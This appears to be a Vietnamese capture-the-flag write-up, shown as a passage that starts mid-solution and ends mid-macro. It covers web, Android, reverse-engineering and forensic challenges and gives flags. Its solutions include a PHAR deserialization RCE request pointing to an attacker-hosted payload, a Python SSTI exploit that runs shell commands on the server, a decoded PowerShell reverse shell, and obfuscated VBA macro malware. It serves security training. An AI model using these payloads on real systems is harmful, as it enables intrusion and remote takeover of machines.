Hàm __wakekup check $this->_file tồn tại hay không

Để ý case local, có thể concat với id, lợi dụng mode redirect, tạo payload và trỏ tới một server public của mình

Request để lấy flag

1
GET /?mode=extract&id=%3fmode%3dredirect%26url%3dhttp%3a//your_ip/payload.txt&host=local HTTP/2

Flag: CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_e7e2e2fdbb91037b93a792695fdb8cff}

Mobile

Cat Me

Description Với người dùng bình thường, họ không thể nhìn thấy gì. Nhưng hacker thì họ luôn có cách khác. Ứng dụng hoạt động tốt trên các thiết bị Android API 24 trở lên

Tải challenge: https://drive.google.com/file/d/1Uq8wLlBl3glN5nbHMW5tkiP5IDrZlJ0D/view?usp=drive_link (pass: cookiehanhoan)

Solution

Sử dụng jadx, search cụm từ “flag” (tâm linh time ._.)

Thu được đoạn code sau

Ghép chúng nó lại với nhau được flag thật

Flag: CHH{M0re_1n7ER3STIN9_7h1N6_1N_logcat}

Description

Một kết nối cực an toàn giữa người dùng và server đã được thiết lập. Kẻ tấn công không thể đứng giữa để nghe ngóng thông tin. Ứng dụng hoạt động tốt trên các thiết bị Android API 24 trở lên

Tải challenge: https://drive.google.com/file/d/1oagLC-ryf9leAl4LrD9zVETTB6cPZDk_/view?usp=drive_link (pass: cookiehanhoan)

Solution

Chạy file apk ta được giao diện đăng nhập

Quay lại jadx, nhìn vào list thấy 1 hàm có tên là MainActivity, check nó trước

Từ đây cũng đoán được là sẽ đăng nhậpadmin:sTroN6PaSswORD, tuy nhiên bị trả về cannot connect to server

Ta sẽ tìm cách để bắt gói tin vào BurpSuite, tuy nhiên để bắt được HTTPS không hề đơn giản, ta sẽ sử dụng kỹ thuật SSL Pinning Bypass

Tham khảo Link này để setup Proxy bằng Frida

Lưu ý là không phải script js nào cũng hoạt động tốt, mình reccommend script này đã test bypass 5/6 SSL Pinning Demo: https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/

Như vậy là ta thu được flag

Flag: CHH{yoU_c4N_bYP45S_sSL_PInninG}

Reverse

Pyreverse

Description

Trong quá trình phân tích các Tool Auto Game, chúng mình phát hiện ra kỹ thuật khá phổ biến trong việc viết mã và đóng gói chương trình. Hãy tìm ra kỹ thuật này và tìm cách dịch ngược chúng, FLAG bí mật ẩn được ẩn chứa bên trong.

Download Challenge https://drive.google.com/file/d/18g2ZqlfYS4pfEZbAxJD1_9wIVp3KS1A-/view?usp=drive_link (pass: cookiehanhoan)

Solution

File exe được đóng gói bằng pyinstaller nên ta có thể dùng pydumpck để unpack lại file .py ban đầu.

How to use pydumpck

Kiểm tra file pyreverser.pyc.cdc.py trong output folder, ta thấy flag được encode bằng base64 ngay trong hàm main.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64

def reverse_string(s):
    return s[::-1]


def scramble_flag(flag):
    scrambled = ''
    for i, char in enumerate(flag):
        if i % 2 == 0:
            scrambled += chr(ord(char) + 1)
            continue
        scrambled += chr(ord(char) - 1)
    return scrambled


def main():
    print(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ=='))
    secret_flag = scramble_flag(reverse_string(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')).decode())
    print('Welcome to PyReverser!')
    print('Please enter a word or phrase:')
    user_input = input()
    generated_value = scramble_flag(reverse_string(user_input.upper()))
    print('Generated value:', generated_value)
    print('Can you find the hidden flag?')
    reversed_flag = reverse_string(secret_flag)
    print('Reversed flag:', reversed_flag)

if __name__ == '__main__':
    main()

Decode Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ và có được flag

Flag: CHH{python2Exi_Reverse_ENginering}

Jump

Description

Thử thách mô phỏng lại thuật toán sinh key bản quyền phần mềm, hãy chạy thử file chương trình và dịch ngược chúng để tìm FLAG ẩn chứa bên trong.

Tải challenge: https://drive.google.com/file/d/1nCOaD5emAyAqQmJrhB8hlu4UdCbBmRuH/view?usp=drive_link (pass: cookiehanhoan)

Solution

Mở ida check hàm main

Phân tích, như vậy hàm này nhập đối số là địa chỉ của 1 hàm, sử dụng ida debug và nhập địa chỉ của hàm _flag, ta được

Flag: CHH{JUMP_T0_TH3_M00N}

Rev1

Description

Thử thách mô phỏng lại thuật toán sinh key bản quyền phần mềm, hãy chạy thử file chương trình và dịch ngược chúng để tìm FLAG ẩn chứa bên trong.

Tải challenge: https://drive.google.com/file/d/1rzlX1TX4J8XDBuSUj3s8EtErXCOeKKVj/view?usp=sharing (pass: cookiehanhoan)

Solution

Chạy thử file, ta thấy chương trình hiện ra 1 form cho phép nhập vào dữ kiện, gồm 3 button Exit, CheckAbout

Load file vào IDA, ta có hàm WinMain, tiến hành phân tích logic của hàm DialogFunc

Sau khi debug, ta thấy chương trình check password bằng 1 đoạn shellcode, tiến hành dump đoạn assembly của shellcode và phân tích, ta thấy nó là phép nhân ma trận:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
xor     ecx, ecx
movzx   eax, byte ptr [edi+ecx]
imul    eax, 6Eh 
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 1C3h
add     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 348h
add     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 1F8h
add     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 357h
sub     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 46h 
add     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 16Fh
sub     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 2FEh
sub     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 17Ah
add     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 15Ah
add     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 326h
sub     eax, edx
inc     ecx
movzx   edx, byte ptr [edi+ecx]
imul    edx, 190h
sub     eax, edx
inc     ecx

mov     eax, ecx
neg     eax
dec     eax
sub     edi, eax
dec     eax
mov     dword ptr [esp+8], 0
call    $+5
pop     ecx
add     ecx, 68h 
mov     [esp+4], ecx
mov     ebx, eax
jmp     short loc_770AB8

....
....
....
------------------------------------------------------------------------
loc_770AA5:                             E XREF: j
mov     ecx, [esp+8]
add     ecx, 1
mov     [esp+8], ecx
cmp     ecx, 8D42h
jnb     short loc_770ADE
loc_770AB8:                             E XREF: j
mov     eax, [esp+4]
add     eax, [esp+8]
movsx   ecx, byte ptr [eax]
mov     eax, [esp+8]
cdq
idiv    ebx
movsx   edx, byte ptr [edi+edx]
xor     ecx, edx
mov     eax, [esp+8]
mov     edx, [esp+4]
add     edx, eax
mov     [edx], cl
jmp     short loc_770AA5
------------------------------------------------------------------------
loc_770ADE:                             E XREF: j
mov     eax, large fs:30h
mov     eax, [eax+8]
add     eax, 1EC0h
mov     ebx, [esp+4]
push    ebx
call    eax
pop     ebx
add     esp, 8
mov     eax, 1
leave
retn
------------------------------------------------------------------------
loc_770AFE:                             E XREF: j
                                        ..
xor     eax, eax
retn

Ta sẽ lấy lấy giá trị của ma trận và vector bằng python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import re
temp = []

def find_hex(line):
    
    res = ""
    for c in line:
        if (c >= '0' and c <= '9') or (c >= 'A' and c <= 'F'):
           res += c
    return res

val = []
C = []
with open('asm.txt') as f:
    
    lines = f.readlines()
    line_arr = []
    a = 0
    pattern = r'\b[0-9A-Fa-f]+h\b'

    for line in lines:
        line_arr.append(line)

    for i in range(len(line_arr)):
        if 'imul' in line_arr[i]:
            tmp = line_arr[i][12:]

            a = int(find_hex(line_arr[i]), 16)
            if 'sub' in line_arr[i + 1]:
                val.append(a * -1)
            else:
                val.append(a)

        if 'cmp' in line_arr[i]:
            a = int(find_hex(line_arr[i]), 16)
            C.append(a)
    
    C.remove(C[len(C) - 1])
    
    mat = [[]]
    for i in range(0, 14):
        mat.append(val[14*i: 14*i + 14])
        
    mat.remove(mat[0])
    print("B: ")
    print(mat)
    print("C: ")
    print(C)
    

Giả sử đoạn input mà ta nhập vào là vector A, logic của đoạn check đơn giản là A*B = C, sau khi có BC rồi, ta viết script giải để in ra pass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import numpy as np

B = [[110, 451, 840, 504, -855, 70, -367, -766, 378, 346, -806, -400, 297, 749], [42, 946, 705, 570, -977, 338, 545, -764, -223, -879, 418, 377, 644, -100], [808, 973, 972, 809, 234, -26, 299, -46, -823, 610, 55, -164, 899, 725], [102, -969, -192, -189, -157, 721, -665, 910, 21, -334, 640, 225, -296, 80], [749, 138, -341, -140, -569, 601, -646, -474, 340, -406, 
151, 621, 992, -491], [70, -735, 579, 120, -238, 153, -197, -235, -174, 655, -101, 523, -327, 962], [612, 702, 949, -467, -8, -336, 961, -996, -88, -412, 938, 609, -383, -359], [179, -99, -224, 36, 892, 170, 51, -286, -317, 313, 988, -332, 733, 691], [258, 277, 211, 220, 929, -860, -237, 321, -412, -694, 972, 938, 587, 441], [964, 773, -169, 135, -230, 48, 527, -976, -148, -716, 86, 548, 437, 387], [598, 343, 385, -774, -579, -9, -883, -419, 547, 512, -869, -86, 438, -924], [163, 690, 557, 982, -154, -118, -672, 99, 883, 21, -953, 532, -562, 549], [337, 339, 607, -391, -684, 460, -341, -757, -557, 379, -887, -178, -660, -718], [682, 149, 131, 603, -119, -737, 925, 593, 162, -637, 616, 761, 20, -277]]
C = [10699, 61677, 417944, 27876, 86237, 124555, 99472, 248916, 284272, 137743, -116586, 141428, -267187, 247270]

A = np.linalg.lstsq(B, C, rcond=None)[0]

print(A)

x = [113, 50, 48, 79, 75,51,54,81,66,105,87,107,90 ,84]

print("Pass: ", end = "")

for c in x:
    print(chr(c), end = "")

Nhập pass và ta có flag:

Flag: CHH{C00k13_4R3n4}

CV Malware

Description

Thời gian gần đây có nhiều hình thức xâm nhập vào máy tính nạn nhân thông qua mã độc được gắn trong file Word. Khi mã độc thực thi, chúng sẽ lấy thông tin của nạn nhân để gửi về máy chủ điều khiển C&C. Liệu hacker cũng có thể thể bị hack, hãy cùng đi săn kẻ xấu nhé!

Tải challenge: https://drive.google.com/file/d/1uscuEYlMwBpdV77UCHjtMEUxXsUBrzrz/view?usp=sharing (pass: cookiehanhoan)

SHA-256 (c***.exe) = 61b07970c0a3f4a7e3090aa5d65d48cb0be49c203ffae358ff886a2c2592829f

Hint: FLAG nằm trên host, tìm cách kết nối đúng và exploit

Solution

Tiến hành giải nén file updated-cv-pentester.docx được

Sau khi giải nén xong thì gặp thông báo của Windows Defender …

Vậy nó là file khả nghi nhất

Decode hex bên trên:

1
2
3
server:
   host: http://REPLACE_HOST_HERE
   secret: SecR3TtOKen

Khả năng có thể sẽ thay host = web được bật

Decode file base64

Vậy nó là file thực thi, bật IDA kiểm tra ta thu được

Tiếp tục kiểm tra hàm Download

Vào challenge và download file từ link /static/client.exe

Chuyển qua đọc file client.exe

Kiểm tra hàm main

Ta nhận thấy hàm main_sendPostRequest, khả năng sẽ gửi request tới đâu đó, khả năng là web server challenge. Khi đọc file, thấy hàm main_loadallconfigs trong file tìm kiếm 1 config đi kèm, ta nghĩ ngay đến đoạn secret được decode hex có dạng file yaml “server: hostname + secret” nhưng khi chuyển qua yaml thì báo có vấn đề về ini. Chuyển qua file ini là mọi việc được giải quyết

Ta sửa file config.ini thành

1
2
3
server:
   host: http://HOST
   secret: SecR3TtOKen

Sử dụng Wireshark cap gói tin ta có

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1
Host: HOST
User-Agent: Go-http-client/1.1
Content-Length: 67
Content-Type: application/json
Secret: SecR3TtOKen
Accept-Encoding: gzip

{"username":"username","hostname":"hostname"}
1
2
3
4
5
6
7
HTTP/1.1 200 OK
Date: Sat, 08 Jul 2023 12:49:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 45
Connection: keep-alive

Logged username hostname

Vậy chương trình trên chỉ thực hiện như vậy, kết hợp với hint flag ở trên server, như vậy file exe không còn ý nghĩa, sau khi pentest host này bị dính SSTI. Vậy viết đoạn script để lấy flag nào

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "host"
headers = {
    "User-Agent": "Go-http-client/1.1",
    "Content-Type": "application/json",
    "Secret": "SecR3TtOKen",
    "Accept-Encoding": "gzip"
}
payload = {
    "username": "{{''.__class__.mro()[1].__subclasses__()[417]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip()" }}",
    "hostname": "okeoke"
}
response = requests.post(url, headers=headers, json=payload)
print(response.text)

Flag: CHH{ExtR@Ct_m4CRo_aNd_h@Ck_C2c_d949ae029dc82b4bba3bf3db654041a4}

Forensic

Sổ đăng ký

Description

Hòa thấy hiện tượng lạ mỗi khi anh ta khởi động máy tính. Anh ta nghĩ rằng việc tải các video không lành mạnh gần đây đã khiến máy tính của anh ta bị hack.

Tải challenge: https://drive.google.com/file/d/1pShye_YtnUuIObPdnq9PeiIge0Oelsix/view?usp=drive_link (pass: cookiehanhoan)

Solution

Tải challenge mở file NTUSER.DAT bằng Registry Explorer

Dựa theo mô tả challenge, sẽ search thử powershell.execmd.exe để xem có gì lạ và thu được đoạn shell này

1
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|Write-Line"

Thay invoke thành Write để nó print code thay vì excute, thu được

1
$client = New-Object System.Net.Sockets.TCPClient("192.168.253.27",4953);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "CHH{N0_4_go_n0_st4r_wh3r3}" + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Flag: CHH{N0_4_go_n0_st4r_wh3r3}

Tin học văn phòng

Description

Sau khi tham gia một khóa Tin học văn phòng cơ bản, Hòa đã có thể tự tạo một tệp tài liệu độc hại và anh ta có ý định sẽ dùng nó để hack cả thế giới

Tải challenge: https://drive.google.com/file/d/1WrLFE5qA-qJ6iLEQYQqCo0Xb99Yz8mTH/view?usp=drive_link (pass: cookiehanhoan)

Solution

Dùng lệnh olevba Challenge.doc

1
2
3
...
MsgBox "CHH{If_u_w4nt_1_will_aft3rnull_u}"
...

Flag: CHH{If_u_w4nt_1_will_aft3rnull_u}

Trivial FTP

Description

Việc những nhân viên của một công ty X sử dụng các giao thức không an toàn để kết nối và truyền tải tập tin từ xa đã tạo cơ hội cho những kẻ tấn công Man in the Middle và đánh cắp dữ liệu quan trọng của công ty

Tải Challenge: https://drive.google.com/file/d/1AqsNR8eKe527iZJf1koNRs1pl9YhK0Ev/view?usp=drive_link (pass: cookiehanhoan)

Solution

Sử dụng Wireshark bắt được goi tin flag.pdf

Tuy nhiên TFTP có 516 bytes với 4 bytes đầu là được định danh số thứ tự, vậy ta chỉ lấy 512 bytes cuối của từng packet

Follow UDP stream ta save file flag.pdf và fix lại như sau, do mã hóa netascii nên sẽ không đọc được

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import re, os
re_from_netascii = re.compile(b'(\x0d\x0a|\x0d\x00)')
CR = b'\x0d'
LF = b'\x0a'
CRLF = CR + LF
NUL = b'\x00'
CRNUL = CR + NUL

if isinstance(os.linesep, bytes):
    NL = os.linesep
else:
    NL = os.linesep.encode("ascii")

def _convert_from_netascii(match_obj):
    if match_obj.group(0) == CRLF:
        return NL
    elif match_obj.group(0) == CRNUL:
        return CR

def from_netascii(data):
    """Convert a netascii-encoded string into a string with platform-specific
    newlines.

    """
    return re_from_netascii.sub(_convert_from_netascii, data)

with open("flag.pdf", "rb") as f:
    t = f.read()
    
x = b""

for i in range(0, len(t), 516):
    x += t[i+4:i+516]

with open("flag_new.pdf", "wb") as f:
    f.write(from_netascii(x).replace(b"\r\n", b"\n"))

Flag: CHH{FTP_4nd_TFTP_4r3_b0th_un$af3}

Báo cáo dang dở

Description

Hòa đang làm báo cáo bài tập lớn để nộp cho thầy giáo thì bỗng nhiên máy tính của anh ấy bị tắt đột ngột do mất điện mà anh ấy thì chưa kịp lưu báo cáo một lần nào. Tuy nhiên sau đó, thay vì viết báo cáo mới thì Hòa đã chọn cách dành ra 4h đồng hồ để khôi phục báo cáo ban đầu từ tệp crash dump nhưng cuối cùng vẫn thất bại. Hòa thực sự đang cần trợ giúp.

Tải Challenge ở đây: https://drive.google.com/file/d/19OCHSjzHmzFBoSLYB90nkrZLnREpZ1nG/view?usp=drive_link (pass: cookiehanhoan)

Solution

Dùng Volatility để phân tích file MEMORY.DMP

1
vol.exe -f "MEMORY.DMP" windows.pslist.PsList

Dùng pslist, ta lấy list process. Đọc description có thể thấy được cần tập trung vào process WINWORD.EXE - PID: 1736

1
vol.exe -f "MEMORY.DMP" windows.handles.Handles --pid 1736 

Output:

1
2
3
4
5
6
7
8
PID	Process	Offset	HandleValue	Type	GrantedAccess	Name
...

1736	WINWORD.EXE	0xf8a001cebbf0	0x718	Section	0xf0007	
1736	WINWORD.EXE	0xfa80040fd2f0	0x71c	Event	0x1f0003	OleDfRootC3E09668F74F21C5
1736	WINWORD.EXE	0xfa80041e2070	0x720	File	0x12019f	\Device\HarddiskVolume2\Users\admin\AppData\Roaming\Microsoft\Word\AutoRecovery save of Document1.asd
1736	WINWORD.EXE	0xfa8004652e80	0x724	File	0x13019f	\Device\HarddiskVolume2\Users\admin\AppData\Local\Temp\~DF0CB75D50BF46E632.TMP
...

=> Thấy được file auto recovery , và ta cần đọc file này dùng dumpfiles

1
vol.exe -f "MEMORY.DMP" dumpfiles --pid 1736 

Bước cuối, sau khi lấy được file .asd thì đổi đuôi sang .zip và extract

Tìm trong media thấy được file ảnh chứa flag:

Flag: CHH{4ut0R3c0v3r_s4v3_my_l1f3}

Under Control

Description

Sau khi mẫu tài liệu độc hại của Hòa bị các nhà phân tích từ Cookie Arena mổ xẻ và mỉa mai là quá đơn giản, Hòa quyết tâm tham gia tiếp một khóa Tin học văn phòng nâng cao để tạo ra một mẫu mã độc phức tạp hơn. Sau đó, Hòa thử nghiệm mẫu mã độc mới bằng cách đính kèm vào email phishing cho thầy giáo của mình. Cuối cùng Hòa chiếm quyền điều khiển thành công máy tính của thầy giáo và thậm chí còn đánh cắp được tập bài kiểm tra cuối kì sắp tới.

Tải challenge: https://drive.google.com/file/d/1gISGx8IgR84qTBW7fbXs5HqlED1TESQ-/view?usp=drive_link (pass: cookiehanhoan)

Solution

Mở pcap follow http download file excel về

Sau mỗi lần tải về máy tính liên tục báo Virus >< khả năng là dính Marco, vậy nên mình phải down về Linux cho chạy oleyba và thu được đoạn code sau

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
    ¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥"
    »¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ"
    For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨)
        ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© = InStr(¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·, Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1))
        If ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯© > 0 Then
            ¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®« = Mid(»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢, ¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©, 1)
            ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + ¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«
        Else
            ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£» + Mid(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨, y, 1)
        End If
    Next
    ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨ = ¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»
    For ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° = 1 To Len(®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦²)
        ®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦² = ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶°
    Next
    For ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» = 2 To Len(£©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦)
        £©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ = 2
    Next
    For »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· = 3 To Len(»¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸)
        »¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ = »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£·
    Next
